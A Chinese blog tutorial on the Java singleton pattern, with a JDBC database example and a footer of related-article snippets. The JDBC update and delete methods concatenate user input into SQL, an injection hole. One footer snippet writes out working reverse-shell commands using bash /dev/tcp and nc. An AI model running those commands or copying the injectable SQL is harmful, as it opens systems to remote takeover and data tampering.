java设计模式学习之【单例模式】

文章目录

  • 引言
  • 单例模式简介
    • 定义与用途
    • 实现方式:
      • 饿汉式
      • 懒汉式
    • UML
  • 使用场景
  • 优势与劣势
  • 单例模式在spring中的应用
  • 饿汉式实现
  • 懒汉式实现
  • 数据库连接示例
  • 代码地址

引言

单例模式是一种常用的设计模式,用于确保在一个程序中一个类只有一个实例,并且提供一个全局访问点。这种模式在需要严格控制资源访问和分配的情况下非常有用。

单例模式简介

定义与用途

单例模式是一种创建型设计模式,它确保一个类只有一个实例,并提供一个全局访问点。这个模式经常用于控制资源的访问,如数据库连接或文件系统。

实现方式:

单例模式通常涉及以下几个关键步骤:

  • 将构造函数设置为私有,防止外部通过new关键字创建实例。
  • 在类内部创建一个类的实例。
  • 提供一个公开的静态方法,供外部获取这个唯一的实例。

饿汉式

在类加载时就创建实例。这种方式是线程安全的,但可能会增加内存负担,因为实例不管是否需要都会被创建。

懒汉式

在第一次需要实例时才创建。这种方式可以节省资源,但需要考虑多线程环境下的线程安全问题。

UML

在这里插入图片描述

使用场景

  • 资源共享控制:如数据库连接池或配置管理。
  • 单一责任对象:当一个对象需要负责系统中的重要操作时。
  • 节约资源:避免频繁地创建和销毁对象。

优势与劣势

  • 优势
    资源节约:减少了对象创建和销毁的开销。
    全局访问:提供全局的访问点,易于管理。
  • 劣势
    全局依赖:过度使用可能导致代码之间的紧密耦合。
    多线程问题:在多线程环境下可能会面临同步问题。

单例模式在spring中的应用

单例模式在Spring框架中的应用是其核心功能之一,特别体现在Spring的Bean容器管理中。在Spring框架中,单例模式的应用主要集中在以下几个方面:

Bean的默认作用域:
在Spring中,默认情况下,所有在Spring配置文件中定义的Bean都是以单例模式创建的。这意味着无论应用中有多少次对特定Bean的请求,Spring容器都会返回同一个Bean实例。
这种方式有助于节省资源,因为相同的Bean不会被多次创建。BeanFactory和ApplicationContext:
Spring的BeanFactory和ApplicationContext提供了Bean的创建和管理机制。它们作为Bean的容器,负责实例化、配置和组装Bean。
这些容器自身也是以单例模式运行的,确保整个应用中有一个统一的Bean管理中心。单例Bean的线程安全:
虽然单例Bean在Spring中只实例化一次,但Spring并不保证单例Bean是线程安全的。这意味着Bean的线程安全性依赖于其自身的实现。
在设计单例Bean时,需要考虑其在多线程环境下的行为,确保状态管理的正确性。单例模式与依赖注入(DI):
Spring使用依赖注入(DI)机制来管理Bean之间的依赖关系。在单例模式下,依赖注入确保相同的Bean实例被注入到其他需要它的Bean中。
这种机制简化了对象之间的关系,并提高了代码的可测试性和可维护性。配置与管理:
Spring的单例模式允许集中管理Bean的配置。由于每个Bean只有一个实例,因此其配置和属性只需要设置一次,而无需在每次使用时重新配置。
这对于管理大型应用中的配置和属性尤其有用,可以提高效率和一致性。

饿汉式实现

public class A {private static A obj = new A(); // 类加载时即创建实例private A() {} // 私有构造函数public static A getA() {return obj;}public void doSomething() {// 方法实现}}

懒汉式实现

public class A {private static A obj;private A() {} // 私有构造函数public static synchronized A getA() {if (obj == null) {obj = new A(); // 第一次调用时创建实例}return obj;}public void doSomething() {// 方法实现}
}

数据库连接示例

我们将通过创建一个JDBCSingleton类来展示单例设计模式的一个实际应用。这个类将被用于数据库操作,保证整个应用中只有一个数据库连接实例。
JDBCSingleton 类设计
JDBCSingleton类将包含:

  • 一个私有构造函数,防止外部直接实例化。
  • 一个私有静态实例jdbc,这是其自身的单一实例。
  • 一个公共静态方法,允许外部世界获取这个静态实例。
    在这里插入图片描述
    假设我们已经在MySQL数据库中创建了一个名为userdata的表,它包含三个字段:uid、uname和upassword。数据库名称为ashwinirajput,用户名为root,密码为ashwini。

JDBCSingleton

public class JDBCSingleton {// 静态成员仅持有JDBCSingleton类的一个实例private static JDBCSingleton jdbc;// 私有构造器防止其他类实例化private JDBCSingleton() { }// 提供全局访问点public static JDBCSingleton getInstance() {if (jdbc == null) {jdbc = new JDBCSingleton();}return jdbc;}// 获取连接以进行插入、查看等操作private static Connection getConnection() throws ClassNotFoundException, SQLException {Connection con = null;Class.forName("com.mysql.jdbc.Driver");con = DriverManager.getConnection("jdbc:mysql://localhost:3306/ashwanirajput", "root", "ashwani");return con;}// 向数据库中插入记录public int insert(String name, String pass) throws SQLException {Connection c = null;PreparedStatement ps = null;int recordCounter = 0;try {c = getConnection();ps = c.prepareStatement("insert into userdata(uname, upassword) values(?, ?)");ps.setString(1, name);ps.setString(2, pass);recordCounter = ps.executeUpdate();} catch (Exception e) {e.printStackTrace();} finally {if (ps != null) {ps.close();}if (c != null) {c.close();}}return recordCounter;}// 从数据库中查看数据public void view(String name) throws SQLException {Connection con = null;PreparedStatement ps = null;ResultSet rs = null;try {con = this.getConnection();ps = con.prepareStatement("select * from userdata where uname = ?");ps.setString(1, name);rs = ps.executeQuery();while (rs.next()) {System.out.println("姓名: " + rs.getString(2) + "\t" + "密码: " + rs.getString(3));}} catch (Exception e) {System.out.println(e);} finally {if (rs != null) {rs.close();}if (ps != null) {ps.close();}if (con != null) {con.close();}}}// 更新给定用户名的密码public int update(String name, String password) throws SQLException {Connection c = null;PreparedStatement ps = null;int recordCounter = 0;try {c = this.getConnection();ps = c.prepareStatement("update userdata set upassword = ? where uname = '" + name + "'");ps.setString(1, password);recordCounter = ps.executeUpdate();} catch (Exception e) {e.printStackTrace();} finally {if (ps != null) {ps.close();}if (c != null) {c.close();}}return recordCounter;}// 从数据库删除数据public int delete(int userid) throws SQLException {Connection c = null;PreparedStatement ps = null;int recordCounter = 0;try {c = getConnection();ps = c.prepareStatement("delete from userdata where uid = '" + userid + "'");recordCounter = ps.executeUpdate();} catch (Exception e) {e.printStackTrace();} finally {if (ps != null) {ps.close();}if (c != null) {c.close();}}return recordCounter;}}

JDBCSingletonDemo

public class JDBCSingletonDemo {static int count = 1;static int choice;public static void main(String[] args) throws IOException {JDBCSingleton jdbc = JDBCSingleton.getInstance();BufferedReader br = new BufferedReader(new InputStreamReader(System.in));do {System.out.println("数据库操作");System.out.println("---------------------");System.out.println("1. 插入");System.out.println("2. 查看");System.out.println("3. 删除");System.out.println("4. 更新");System.out.println("5. 退出");System.out.print("\n请输入你想在数据库中执行的操作: ");choice = Integer.parseInt(br.readLine());switch (choice) {case 1: {System.out.print("输入要插入数据库的用户名: ");String username = br.readLine();System.out.print("输入要插入数据库的密码: ");String password = br.readLine();try {int i = jdbc.insert(username, password);if (i > 0) {System.out.println("第 " + (count++) + " 条数据已成功插入");} else {System.out.println("数据未插入");}} catch (Exception e) {System.out.println(e);}System.out.println("按回车键继续...");System.in.read();break;}case 2: {System.out.print("输入要查看的用户名: ");String username = br.readLine();try {jdbc.view(username);} catch (SQLException e) {System.out.println(e);}System.out.println("按回车键继续...");System.in.read();break;}case 3: {System.out.print("输入要删除的用户ID: ");int userid = Integer.parseInt(br.readLine());try {int i = jdbc.delete(userid);if (i > 0) {System.out.println("第 " + (count++) + " 条数据已成功删除");} else {System.out.println("数据未删除");}} catch (Exception e) {System.out.println(e);}System.out.println("按回车键继续...");System.in.read();break;}case 4: {System.out.print("输入要更新的用户名: ");String username = br.readLine();System.out.print("输入新密码: ");String password = br.readLine();try {int i = jdbc.update(username, password);if (i > 0) {System.out.println("第 " + (count++) + " 条数据已成功更新");}} catch (Exception e) {System.out.println(e);}System.out.println("按回车键继续...");System.in.read();break;}default:return;}} while (choice != 5);}
}

这个示例展示了如何在实际应用中使用单例模式来创建和管理数据库连接。通过这种方式,可以确保应用程序中的所有组件都使用相同的数据库连接实例,从而提高了效率和一致性。同时,这也减少了数据库连接的开销,因为连接实例只被创建一次并在整个应用中复用。
运行代码:
在这里插入图片描述

代码地址

23种设计模式相关代码后续会逐步提交到github上,方便学习,欢迎指点:
代码地址
https://github.com/RuofeiSun/lf-23Pattern

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/177848.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

centos7搭建 PXE 服务安装 window10/11 系统

最近想搭建之前基于 window server 的 window 批量安装,但想想装 window server 真的太麻烦了,我只是为了 PXE 安装系统而已,这些装一个极度消耗资源的系统真是相当麻烦呀,之前装的 server 不维护的话,不是被挖矿盯上就…

The module to import is incompatible with the current project【鸿蒙开发-BUG已解决】

文章目录 项目场景:问题描述原因分析:解决方案:心得体会:知识点OpenHarmony:HarmonyOS:项目场景: 报错: The module to import is incompatible with the current project 问题描述 希望通过 import module 将该模块引入到我的项目。 导入后出现错误,因为项目和模块…

基于51单片机冰箱温度控制器设计

**单片机设计介绍, 基于51单片机冰箱温度控制器设计 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于51单片机冰箱温度控制器设计是一个非常实用的项目。以下是一个基本的介绍: 系统概述: …

Ubuntu20.04用D435i运行VINS-Fusion时出现“追踪与中断点陷阱”的问题该怎么解决

在使用D435i运行VINS-Fusion时出现了以下画面: 该错误显示:追踪与中断点陷阱。在网上查了一堆,说是core file的错误,但修改后也没有解决。实际上,真正的原因是:文件的路径错了。 打开VINS-Fusion的文件所在的空间&…

phpstorm使用教程

1.界面优化 ctrlalts --->Plugins--->搜素Material Theme UI--->安装--->重启phpstorm--->tool--->Material Theme--->Material Theme Chooser--->选择自己喜欢的风格就行 2.安装界面插件之后,修改字体颜色有讲究:需要点击图片…

影刀实例二,小某书如何持续下载图片

一,案例背景: 小某书平台,利用影刀rpa搜索关键词,然后下载对应文章的图片. 二,思路 1. 登录小某书平台,将网页放大最大【手动完成,作为初始状态】 2. 利用影刀命令【打开输入对话框】获得要搜索…

HCIA-H12-811题目解析(2)

1、【单选题】 在以太网这种多点访问网络上PPPOE服务器可以通过一个以太网端口与很多PPPOE客户端建立起PPP连接,因此服务器必须为每个PPP会话建立唯一的会话标识符以区分不同的连接PPPOE会使用什么参数建立会话标识符? 2、【单选题】PPP协议定义的是OSI参考模型中…

【Python】Selenium自动化测试框架

设计思路 本文整理归纳以往的工作中用到的东西,现汇总成基础测试框架提供分享。 框架采用python3 selenium3 PO yaml ddt unittest等技术编写成基础测试框架,能适应日常测试工作需要。 1、使用Page Object模式将页面定位和业务操作分开&#xff0…

ubuntu配置免密登录vscode

1、配置免密登录 (1)在windows系统cmd下运行命令 ssh-keygen 一路回车,将会在C:\Users\用户名\.ssh目录下生成两个文件:id_rsa和id_rsa.pub。如下图所示。 (2)进入.ssh目录。如果想使用root用户&#xff0…

抖去推--短视频账号矩阵系统saas工具源码技术开发(源头)

目录 一、短视频矩阵系统搭建常见问题? 二、账号矩阵如何打造?(企业号、员工号、达人号裂变) 三、无人直播解决什么问题? 一、短视频矩阵系统搭建常见问题? 1、抖去推的短视频AI矩阵营销软件需要一定的技…

Python爬虫404错误:解决方案总结

在进行网络爬虫开发的过程中,经常会遇到HTTP 404错误,即“Not Found”错误。这种错误通常表示所请求的资源不存在。对于爬虫开发者来说,处理这类错误是至关重要的,因为它们可能会导致爬虫无法正常工作。本文将探讨Python爬虫遇到4…

易宝OA系统ExecuteSqlForSingle接口SQL注入漏洞复现 [附POC]

文章目录 易宝OA系统ExecuteSqlForSingle接口SQL注入漏洞复现 [附POC]0x01 前言0x02 漏洞描述0x03 影响版本0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现 易宝OA系统ExecuteSqlForSingle接口SQL注入漏洞复现 [附POC] 0x01 前言 免责声明:请勿利用文章…

inBuilder低代码平台新特性推荐-第十一期

今天来给大家带来的是inBuilder低代码平台特性推荐系列第十一期——子表启用卡片式编辑! 一、 场景介绍 表单子表的列比较多的场景中,若使用列表自带编辑器需要频繁拖动横向滚动条,而且不易进行数据分析、自查。所以项目中希望将子表的数据…

linux反弹shell

nc工具反弹shell 下面是windows主机找到nc打开1.bat输入:nc 连接的IP地址 端口 受害主机是nc -lvvp 端口 -t -e /bin/bash kali系统连接 bash命令反弹 本地 nc -l -p 端口, 受害主机 bash -i >& /dev/tcp/要连接的主机IP/端口 0>&1 注…

算法刷题-动态规划3(未完待续---------

算法刷题-动态规划3) 01背包问题最后一块石头的重量 01背包问题 一篇文章吃透背包问题 大佬讲解什么是背包问题 问题分析: 面对这么多的物品, 选择一个个地来装入背包,背包的承重量不断地增加,二维数组中,…

【Linux】探索进程的父与子

目录 1.获取进程PID1.1进程PPID 2.通过系统调用创建进程-fork初识2.1为什么fork函数要给子进程返回0,给父进程返回pid?fork函数如何做到返回两次的?fork干了什么事情?怎么理解一个变量为什么有两个不同的值?如果父子进…

投标文件的胶装和封装以及注意事项

投标文件最后的胶装和封装的时间我们需要做的内容: 1.制作签字页码表(法人签字有几处,页码11,12,13,89,678,代理人签字有几处,页码11,12,13,89,678 ),目的为后期签字做准备。【关注首页,一般也…

【面试HOT200】滑动窗口篇

系列综述: 💞目的:本系列是个人整理为了秋招面试的,整理期间苛求每个知识点,平衡理解简易度与深入程度。 🥰来源:材料主要源于【CodeTopHot200】进行的,每个知识点的修正和深入主要参…

Bitcoin SV 和 Bitcoin Core 之间首次跨链原子交换

我们已经执行了 Bitcoin SV 和 Bitcoin Core 之间的首次原子交换。 这一成就代表了比特币 SV 的重大进步,以去信任的方式促进了与其他区块链的无缝互操作性。 图片源自Gemini 在上一篇文章中,我们解释了原子交换的高级理论。 我们深入研究了使用哈希时间…

c++ opencv使用drawKeypoints、line实现特征点的连线显示

前言 图像经过算子处理后得到若干特征点,使用opencv进行渲染显示出这些特征点并且连线,更直观的对比处理前后的一些差异性 demo核心代码 //画出特征点并连线 void drawFilterLinePoints(cv::Mat& srcMat, cv::Point2f pointStart, cv::Point2f po…